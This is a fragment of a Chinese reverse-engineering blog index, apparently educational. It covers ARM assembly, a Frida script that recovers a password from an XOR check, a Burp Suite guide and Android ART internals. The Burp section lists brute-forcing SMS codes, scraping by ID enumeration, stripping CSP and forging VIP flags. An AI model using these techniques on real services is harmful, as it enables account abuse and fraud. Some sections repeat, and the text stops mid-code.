汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#x86x64-指令速查"},{"categories":null,"collections":null,"content":"ARM/AArch64 指令速查 指令 操作 示例 说明 MOV 赋值 MOV X0, X1 Xd = Xn MVN 取反赋值 MVN X0, X1 Xd = ~Xn LDR 加载 LDR X0, [X1, #8] Xd = *(Xn + offset) STR 存储 STR X0, [X1] *Xn = Xd LDP 加载对 LDP X0, X1, [SP] 一次加载两个寄存器 (AArch64) STP 存储对 STP X0, X1, [SP, #-16]! 一次存储两个寄存器 (AArch64) ADD 加法 ADD X0, X1, X2 Xd = Xn + Xm SUB 减法 SUB X0, X1, #10 Xd = Xn - imm MUL 乘法 MUL X0, X1, X2 Xd = Xn * Xm SDIV 有符号除法 SDIV X0, X1, X2 Xd = Xn / Xm (AArch64) AND 按位与 AND X0, X1, #0xFF Xd = Xn \u0026 imm ORR 按位或 ORR X0, X1, X2 Xd = Xn | Xm EOR 按位异或 EOR X0, X1, X2 Xd = Xn ^ Xm LSL 左移 LSL X0, X1, #3 Xd = Xn « count LSR 逻辑右移 LSR X0, X1, #3 Xd = Xn » count CMP 比较 CMP X0, #10 更新 NZCV 标志 TST 测试位 TST X0, #0x1 更新标志 (Xn \u0026 imm) B 跳转 B label 无条件跳转 BL 调用 BL func LR = PC+4; 跳转到 func B.EQ 条件跳转 B.EQ label Z=1 则跳 CBZ 零则跳 CBZ X0, label X0 == 0 则跳 (AArch64) CBNZ 非零则跳 CBNZ X0, label X0 != 0 则跳 (AArch64) RET 返回 RET 跳转到 LR (AArch64) BX LR 返回 BX LR 跳转到 LR (ARM32) CSEL 条件选择 CSEL X0, X1, X2, EQ X0 = EQ ? X1 : X2 (AArch64) ADRP 取页地址 ADRP X0, label X0 = 4KB 页地址 (AArch64) SVC 系统调用 SVC #0 触发系统调用 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:6:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#armaarch64-指令速查"},{"categories":null,"collections":null,"content":"Android 中的 x86 虽然 Android 设备绝大多数使用 ARM 处理器，但 x86 在 Android 生态中仍有重要存在。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:7:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#android-中的-x86"},{"categories":null,"collections":null,"content":"为什么 Android 逆向工程师需要了解 x86？ Android 模拟器：官方 Android Emulator 使用 x86/x86-64 系统镜像以获得硬件虚拟化加速 (Intel HAXM / KVM)。在模拟器中分析应用时，native 代码可能是 x86 的。 NDK 交叉编译：使用 NDK 构建 native 库时，可以为 x86/x86-64 架构编译，方便在模拟器上调试。 Translation Layer：即使是 ARM-only 的 .so，在 x86 模拟器上也能通过 libhoudini (Intel 的 ARM 翻译层) 或 libndk_translation 运行，但行为可能有差异。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:7:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#为什么-android-逆向工程师需要了解-x86"},{"categories":null,"collections":null,"content":"模拟器中的 x86 分析 当你在 x86 模拟器中分析一个 APK 时： APK 中的 native 库选择顺序: 1. lib/x86_64/libfoo.so (如果模拟器是 x86_64 且存在此目录) 2. lib/x86/libfoo.so (如果模拟器是 x86 且存在此目录) 3. lib/arm64-v8a/libfoo.so (通过 ARM 翻译层运行) 4. lib/armeabi-v7a/libfoo.so (通过 ARM 翻译层运行) 模拟器分析的陷阱 APK 包含 x86 .so 时，模拟器中的反汇编是 x86 指令而非 ARM 某些应用会检测模拟器环境并拒绝运行 ARM 翻译层可能引入兼容性问题 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:7:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#模拟器中的-x86-分析"},{"categories":null,"collections":null,"content":"分析技巧 分析 APK 时，检查 lib/ 下的子文件夹 (armeabi-v7a/, arm64-v8a/, x86/, x86_64/) 判断支持哪些架构。 逆向技巧：优先分析 x86 版本 如果 APK 同时提供 ARM 和 x86 版本的 .so，有时可以优先分析 x86 版本： IDA 对 x86 的反编译质量最好 可以在 PC 上直接运行和调试 某些逻辑在 x86 版本中更清晰 注意：不同架构的编译结果可能有差异，尤其是涉及内联汇编或条件编译的代码。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:7:3","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#分析技巧"},{"categories":null,"collections":null,"content":"实战：读懂反汇编 💡 思路一句话: 读汇编不需要记住所有指令 — 关注三类：数据移动（MOV/LDR/STR）、算术运算（ADD/SUB/MUL/EOR）、控制流（B/BL/CBZ/RET），就能理解 90% 的反汇编代码。 下面通过一个完整的实例，演示如何从反汇编代码中还原出原始的 C 逻辑。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:8:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#实战读懂反汇编"},{"categories":null,"collections":null,"content":"示例：一个简单的密码校验函数 假设我们在 IDA 中看到以下 AArch64 反汇编代码（这是一个简化的示例）： ; bool check_password(const char* input, int length) ; X0 = input (const char*), W1 = length (int) check_password: STP X29, X30, [SP, #-48]! ; 保存 FP, LR MOV X29, SP ; 建立栈帧 STP X19, X20, [SP, #16] ; 保存 callee-saved 寄存器 STR X21, [SP, #32] ; 保存 X21 MOV X19, X0 ; X19 = input (保存参数) MOV W20, W1 ; W20 = length ; 第一步：检查长度 CMP W20, #8 ; length == 8? B.NE .fail ; 如果长度不是 8，直接失败 ; 第二步：逐字符校验 MOV W21, #0 ; W21 = i = 0 (循环计数器) ADRP X8, .secret_key@PAGE ADD X8, X8, .secret_key@PAGEOFF ; X8 = secret_key 数组地址 .loop: CMP W21, W20 ; i \u003c length? B.GE .success ; 如果 i \u003e= length，循环结束，密码正确 LDRB W9, [X19, X21] ; W9 = input[i] LDRB W10, [X8, X21] ; W10 = secret_key[i] EOR W9, W9, #0x37 ; W9 = input[i] ^ 0x37 CMP W9, W10 ; input[i] ^ 0x37 == secret_key[i]? B.NE .fail ; 不相等则失败 ADD W21, W21, #1 ; i++ B .loop ; 继续循环 .success: MOV W0, #1 ; 返回 true B .epilogue .fail: MOV W0, #0 ; 返回 false .epilogue: LDR X21, [SP, #32] ; 恢复 X21 LDP X19, X20, [SP, #16] ; 恢复 X19, X20 LDP X29, X30, [SP], #48 ; 恢复 FP, LR RET ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:8:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#示例一个简单的密码校验函数"},{"categories":null,"collections":null,"content":"逐步分析过程 第一步：识别函数边界 看到 STP X29, X30, [SP, ...]! 开头，LDP X29, X30, [SP], ... ; RET 结尾——这是标准的 AArch64 函数序言/结语。 第二步：确定参数 X0 -\u003e 保存到 X19，后面用 LDRB W9, [X19, X21] 按字节加载——说明这是一个字符串指针 W1 -\u003e 保存到 W20，与 #8 比较、作为循环上界——说明这是长度参数 第三步：理解控制流 CMP W20, #8; B.NE .fail -\u003e 长度必须是 8 .loop 是一个 for 循环 (W21 从 0 开始，每次 +1，到 W20 结束) 循环体内：加载 input[i]，异或 0x37，与 secret_key[i] 比较 不匹配就跳到 .fail 返回 0 第四步：还原 C 代码 // 还原后的 C 代码 static const unsigned char secret_key[8] = { /* ... */ }; bool check_password(const char* input, int length) { // 长度必须为 8 if (length != 8) { return false; } // 逐字符校验: input[i] ^ 0x37 == secret_key[i] for (int i = 0; i \u003c length; i++) { if ((input[i] ^ 0x37) != secret_key[i]) { return false; } } return true; } 第五步：提取密钥并破解 知道了校验逻辑是 input[i] ^ 0x37 == secret_key[i]，正确密码就是 secret_key[i] ^ 0x37。用 Frida 提取： var base = Module.findBaseAddress(\"libfoo.so\"); var key = base.add(0x1234).readByteArray(8); // 替换为实际偏移 var keyBytes = new Uint8Array(key); var password = \"\"; for (var i = 0; i \u003c 8; i++) { password += String.fromCharCode(keyBytes[i] ^ 0x37); } console.log(\"password:\", password); ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:8:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#逐步分析过程"},{"categories":null,"collections":null,"content":"分析方法论总结 当你面对一段陌生的反汇编代码时，建议按以下步骤进行： 步骤 行动 关注点 1. 识别边界 找到函数序言和结语 STP/LDP (A64) 或 PUSH/POP (ARM32) 2. 确定接口 分析参数和返回值 X0-X7 (参数), X0 (返回值), callee-saved 的使用 3. 画控制流 标记所有分支目标 CMP + B.xx 组合, CBZ/CBNZ 4. 识别模式 对应高级语言结构 循环 (递增+条件跳转回), if/else, switch 5. 理解数据 追踪数据流向 LDR/STR 对应哪些变量, 字符串引用, 常量 6. 动态验证 用 Frida/调试器确认 hook 函数，打印参数和返回值 善用反编译器 IDA Pro (F5) 和 Ghidra 的反编译器可以直接将汇编代码转换为可读性很高的 C 伪代码。通常的工作流是：先看伪代码理解大致逻辑，遇到不确定的地方再回头看汇编确认细节。反编译器不是万能的，它可能错误地识别变量类型、合并/拆分函数，但作为起点它是非常高效的。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:8:3","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#分析方法论总结"},{"categories":null,"collections":null,"content":"Burp Suite 指南 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:0:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#burp-suite-指南"},{"categories":null,"collections":null,"content":"概述 Burp Suite 不仅仅是渗透测试神器，也是 Web 逆向中最強大的中间人攻击（MITM）工具。它不仅能抓包，还能修改重发、暴力破解签名、自动化解码等。本指南仅关注逆向工程中常用的功能。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:1:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#概述"},{"categories":null,"collections":null,"content":"1. 基础配置 (Proxy \u0026 Cert) ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:2:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#1-基础配置-proxy--cert"},{"categories":null,"collections":null,"content":"拦截 HTTPS 流量 配置代理: 浏览器设置代理为 127.0.0.1:8080 (Burp 默认端口)。 安装证书: 访问 http://burp，下载 CA 证书。 Windows/Mac: 双击安装，务必选择“受信任的根证书颁发机构”。 Android/iOS: 安装证书后，需在系统设置中“针对根证书启用完全信任”。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:2:1","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#拦截-https-流量"},{"categories":null,"collections":null,"content":"Invisible Proxy (隐形代理) 当客户端（如某些非浏览器发包的 EXE 或 Python 脚本）不支持配置代理，或者强制校验 Host 头时： 修改 Hosts 文件，将 target.com 指向 127.0.0.1。 Burp -\u003e Proxy -\u003e Options -\u003e Edit Interface 127.0.0.1:443 -\u003e Request handling -\u003e Support invisible proxying (True). 这样所有发往本地 443 的流量都会被 Burp 拦截并转发。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:2:2","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#invisible-proxy-隐形代理"},{"categories":null,"collections":null,"content":"2. Repeater (重放器) 这是逆向中最常用的模块。 基本用法: 在 Proxy History 中右键请求 -\u003e “Send to Repeater” (Ctrl+R)。 用途: 修改参数（如 id=1 改 id=2）测试越权。 删除特定的 Header（如 Signature）测试是否必须。 测试 Token 的有效期。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:3:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#2-repeater-重放器"},{"categories":null,"collections":null,"content":"3. Intruder (入侵者) 用于自动化爆破。 场景: 爆破短信验证码 (4 位/6 位)。 遍历用户 ID 爬取数据。 如果签名算法已知，可以写插件（Extender）自动计算签名进行批量请求。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:4:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#3-intruder-入侵者"},{"categories":null,"collections":null,"content":"4. Decoder (解码器) 内置的编码转换工具。 支持 URL, Base64, Hex, Gzip 等常见格式。 Smart Decode: 智能尝试解码，对付多层编码（如 Base64 里面包 URL 编码）很有效。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:5:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#4-decoder-解码器"},{"categories":null,"collections":null,"content":"5. Match and Replace (自动替换) 在 Proxy -\u003e Options -\u003e Match and Replace 中设置规则。 逆向场景: Bypass CSP: 自动删除响应头中的 Content-Security-Policy，允许我们在页面执行任意 JS。 修改返回包: 将 {\"is_vip\": false} 自动替换为 {\"is_vip\": true}。 注入脚本: 在 \u003cbody\u003e 标签后自动插入 \u003cscript src=\"http://127.0.0.1/hook.js\"\u003e\u003c/script\u003e。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:6:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#5-match-and-replace-自动替换"},{"categories":null,"collections":null,"content":"6.常用插件 (Extensions) 从 BApp Store 安装： Logger++: 更强大的日志查看器，支持搜索。 Turbo Intruder: 基于 Python 的超高性能发包器。 HackBar: 类浏览器插件的辅助工具。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:7:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#6常用插件-extensions"},{"categories":null,"collections":null,"content":"总结 在 Web 逆向中，我们通常将 Burp Suite 配合浏览器 DevTools 使用： DevTools 负责分析 JS 逻辑，生成签名。 Burp Suite 负责拦截请求，验证签名，重放攻击。 ","date":"2024-05-14","objectID":"/reverse_engineering/web/02-tooling/burp_suite_guide/:8:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Burp Suite 指南","uri":"/reverse_engineering/web/02-tooling/burp_suite_guide/#总结"},{"categories":null,"collections":null,"content":"Android 运行时 (ART) 深度解析 ART (Android Runtime) 是 Android 5.0 (Lollipop) 之后默认的应用程序运行时环境，取代了旧的 Dalvik 虚拟机 (DVM)。ART 的引入显著改变了 Android 应用的执行方式，旨在提高应用的性能、启动速度和电池续航。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:0:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#android-运行时-art-深度解析"},{"categories":null,"collections":null,"content":"核心机制：AOT vs JIT 思考：为什么逆向工程师必须理解 ART？ 你可能会想：“我只关心应用的 Java 代码和加密算法，ART 的编译机制与我有什么关系？” 实际场景告诉你答案： Frida Hook 失败：你写的 Hook 脚本在 Android 4.x 上好用，在 8.0+ 上就不工作了——因为 ART 的 AOT 编译改变了方法的执行方式 脱壳困境：你用传统方法 dump DEX，结果发现关键类根本不在 DEX 里——它们在运行时被解密后直接编译成了 OAT 性能分析：为什么同样的代码在不同 Android 版本上性能差异巨大？混合编译模式是关键 反调试对抗：某些 App 会检测 OAT 文件的完整性，或者利用 dex2oat 的时机来进行反调试 核心要点： Android 5.0+ 的应用不再是简单的\"DEX 字节码\"执行 真正执行的是 本地机器码（OAT 文件） 理解 DEX → VDEX → OAT 的转换流程，才能应对现代 Android 逆向 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:1:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#核心机制aot-vs-jit"},{"categories":null,"collections":null,"content":"Dalvik 的 JIT (Just-In-Time) 在 Android 4.4 及更早版本中，Dalvik 虚拟机使用 JIT 编译。 工作方式: 应用每次运行时，Dalvik 会解释执行 DEX 字节码。对于频繁执行的\"热点代码\" (hotspot)，JIT 编译器会将其动态地编译成本地机器码并缓存。 优点: 安装速度快，不占用额外存储空间。 缺点: 应用启动和运行期间需要持续进行解释和编译，导致启动慢、耗电多。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:1:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#dalvik-的-jit-just-in-time"},{"categories":null,"collections":null,"content":"ART 的 AOT (Ahead-Of-Time) ART 最初的设计是纯 AOT 编译。 工作方式: 在应用安装时，系统会调用 dex2oat 工具，将 APK 中的 classes.dex 文件完整地编译成本地机器码，并以 OAT 文件的形式存储。 优点: 运行速度快: 应用直接执行本地机器码，无需实时编译，性能和启动速度都大大提升。 更省电: CPU 在运行时负担更轻。 缺点: 安装时间长: 应用安装过程需要额外的编译时间。 占用空间大: 预编译的 OAT 文件会占用更多的存储空间。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:1:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-的-aot-ahead-of-time"},{"categories":null,"collections":null,"content":"混合编译 (AOT + JIT + Profile-Guided) 从 Android 7.0 (Nougat) 开始，ART 引入了结合 JIT 的混合编译模式，以平衡上述优缺点。 工作流程: ┌─────────────────────────────────────────────────────────────────────────┐ │ ART 混合编译执行流程 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ 应用安装 │ ───\u003e │ 首次运行 │ ───\u003e │ 收集 Profile │ ───\u003e │ 后台优化 │ │ │ │ (快速) │ │ (JIT) │ │ (热点分析) │ │ (AOT) │ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ 无编译 │ │ 解释执行 │ │ .prof 文件│ │ .oat 文件 │ │ │ │ │ │ + JIT 缓存│ │ 热点记录 │ │ 优化代码 │ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ 初次安装: 应用安装速度很快，不进行 AOT 编译。 首次运行: 应用代码由解释器执行，同时 JIT 编译器会介入，编译热点代码。在此期间，ART 会生成一份代码执行频率的分析文件 (Profile)。 设备空闲时: 当设备处于空闲状态并正在充电时，Android 系统会启动一个后台优化任务。该任务会根据之前收集的 Profile 信息，只对那些频繁执行的热点方法进行 AOT 编译，并生成新的 OAT 文件。 后续运行: 直接执行 AOT 编译后的本地代码，速度最快。 Profile 文件位置: # 应用级 Profile /data/misc/profiles/cur/0/\u003cpackage_name\u003e/primary.prof /data/misc/profiles/ref/\u003cpackage_name\u003e/primary.prof # 查看 Profile 内容 adb shell profman --dump-classes-and-methods \\ --profile-file=/data/misc/profiles/cur/0/com.example.app/primary.prof \\ --apk=/data/app/com.example.app-xxx/base.apk ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:1:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#混合编译-aot--jit--profile-guided"},{"categories":null,"collections":null,"content":"ART 内部架构 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:2:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-内部架构"},{"categories":null,"collections":null,"content":"运行时组件总览 ┌─────────────────────────────────────────────────────────────────────────────┐ │ ART 运行时架构 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 应用层 (Application Layer) │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ Java 代码 │ │ Kotlin 代码 │ │ Android SDK │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ ART 核心运行时 │ │ │ │ ┌───────────────┬───────────────┬───────────────┬───────────────┐ │ │ │ │ │ 解释器 │ JIT 编译器 │ AOT 代码 │ GC 系统 │ │ │ │ │ │ (Interpreter) │ (JIT Compiler)│ (OAT Code) │ (Garbage │ │ │ │ │ │ │ │ │ Collector) │ │ │ │ │ └───────────────┴───────────────┴───────────────┴───────────────┘ │ │ │ │ ┌───────────────┬───────────────┬───────────────┬───────────────┐ │ │ │ │ │ 类加载器 │ 线程管理 │ 内存管理 │ JNI 桥接 │ │ │ │ │ │ (ClassLoader) │(Thread Manager)│(Heap Manager) │ (JNI Bridge) │ │ │ │ │ └───────────────┴───────────────┴───────────────┴───────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ Native 层 │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ libart.so │ │ libc.so │ │ Native Libs │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:2:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#运行时组件总览"},{"categories":null,"collections":null,"content":"核心源码结构 ART 源码位于 AOSP 的 art/ 目录下： art/ ├── compiler/ # AOT/JIT 编译器 │ ├── optimizing/ # 优化编译器 (主要) │ ├── driver/ # 编译驱动 │ └── jni/ # JNI 编译支持 ├── runtime/ # 运行时核心 │ ├── gc/ # 垃圾回收 │ ├── jni/ # JNI 实现 │ ├── interpreter/ # 解释器 │ ├── mirror/ # Java 对象的 C++ 镜像 │ ├── entrypoints/ # 入口点 (quick/portable) │ └── thread.cc # 线程管理 ├── dex2oat/ # DEX 到 OAT 编译工具 ├── oatdump/ # OAT 文件分析工具 └── libdexfile/ # DEX 文件解析库 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:2:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#核心源码结构"},{"categories":null,"collections":null,"content":"关键数据结构 Runtime 类 Runtime 是 ART 的核心单例类，管理整个运行时环境： // art/runtime/runtime.h class Runtime { public: // 获取单例 static Runtime* Current() { return instance_; } // 核心组件 gc::Heap* GetHeap() const { return heap_; } ClassLinker* GetClassLinker() const { return class_linker_; } InternTable* GetInternTable() const { return intern_table_; } JavaVMExt* GetJavaVM() const { return java_vm_; } ThreadList* GetThreadList() const { return thread_list_; } jit::Jit* GetJit() const { return jit_.get(); } private: static Runtime* instance_; gc::Heap* heap_; // 堆管理 ClassLinker* class_linker_; // 类链接器 InternTable* intern_table_; // 字符串池 JavaVMExt* java_vm_; // JavaVM 实例 ThreadList* thread_list_; // 线程列表 std::unique_ptr\u003cjit::Jit\u003e jit_; // JIT 编译器 // ... }; Thread 类 每个 Java 线程对应一个 Thread 对象： // art/runtime/thread.h class Thread { public: // TLS (Thread Local Storage) 入口 static Thread* Current(); // 获取 JNI 环境 JNIEnvExt* GetJniEnv() const { return tlsPtr_.jni_env; } // 获取托管栈顶 ManagedStack* GetManagedStack() { return \u0026tlsPtr_.managed_stack; } // 线程状态 ThreadState GetState() const { return tls32_.state_and_flags.as_struct.state; } private: struct PACKED(4) tls_32bit_sized_values { union StateAndFlags state_and_flags; int suspend_count; int debug_suspend_count; // ... } tls32_; struct PACKED(8) tls_ptr_sized_values { JNIEnvExt* jni_env; ManagedStack managed_stack; mirror::Object* exception; // ... } tlsPtr_; }; ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:2:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#关键数据结构"},{"categories":null,"collections":null,"content":"关键数据结构 Runtime 类 Runtime 是 ART 的核心单例类，管理整个运行时环境： // art/runtime/runtime.h class Runtime { public: // 获取单例 static Runtime* Current() { return instance_; } // 核心组件 gc::Heap* GetHeap() const { return heap_; } ClassLinker* GetClassLinker() const { return class_linker_; } InternTable* GetInternTable() const { return intern_table_; } JavaVMExt* GetJavaVM() const { return java_vm_; } ThreadList* GetThreadList() const { return thread_list_; } jit::Jit* GetJit() const { return jit_.get(); } private: static Runtime* instance_; gc::Heap* heap_; // 堆管理 ClassLinker* class_linker_; // 类链接器 InternTable* intern_table_; // 字符串池 JavaVMExt* java_vm_; // JavaVM 实例 ThreadList* thread_list_; // 线程列表 std::unique_ptr jit_; // JIT 编译器 // ... }; Thread 类 每个 Java 线程对应一个 Thread 对象： // art/runtime/thread.h class Thread { public: // TLS (Thread Local Storage) 入口 static Thread* Current(); // 获取 JNI 环境 JNIEnvExt* GetJniEnv() const { return tlsPtr_.jni_env; } // 获取托管栈顶 ManagedStack* GetManagedStack() { return \u0026tlsPtr_.managed_stack; } // 线程状态 ThreadState GetState() const { return tls32_.state_and_flags.as_struct.state; } private: struct PACKED(4) tls_32bit_sized_values { union StateAndFlags state_and_flags; int suspend_count; int debug_suspend_count; // ... } tls32_; struct PACKED(8) tls_ptr_sized_values { JNIEnvExt* jni_env; ManagedStack managed_stack; mirror::Object* exception; // ... } tlsPtr_; }; ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:2:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#runtime-类"},{"categories":null,"collections":null,"content":"关键数据结构 Runtime 类 Runtime 是 ART 的核心单例类，管理整个运行时环境： // art/runtime/runtime.h class Runtime { public: // 获取单例 static Runtime* Current() { return instance_; } // 核心组件 gc::Heap* GetHeap() const { return heap_; } ClassLinker* GetClassLinker() const { return class_linker_; } InternTable* GetInternTable() const { return intern_table_; } JavaVMExt* GetJavaVM() const { return java_vm_; } ThreadList* GetThreadList() const { return thread_list_; } jit::Jit* GetJit() const { return jit_.get(); } private: static Runtime* instance_; gc::Heap* heap_; // 堆管理 ClassLinker* class_linker_; // 类链接器 InternTable* intern_table_; // 字符串池 JavaVMExt* java_vm_; // JavaVM 实例 ThreadList* thread_list_; // 线程列表 std::unique_ptr jit_; // JIT 编译器 // ... }; Thread 类 每个 Java 线程对应一个 Thread 对象： // art/runtime/thread.h class Thread { public: // TLS (Thread Local Storage) 入口 static Thread* Current(); // 获取 JNI 环境 JNIEnvExt* GetJniEnv() const { return tlsPtr_.jni_env; } // 获取托管栈顶 ManagedStack* GetManagedStack() { return \u0026tlsPtr_.managed_stack; } // 线程状态 ThreadState GetState() const { return tls32_.state_and_flags.as_struct.state; } private: struct PACKED(4) 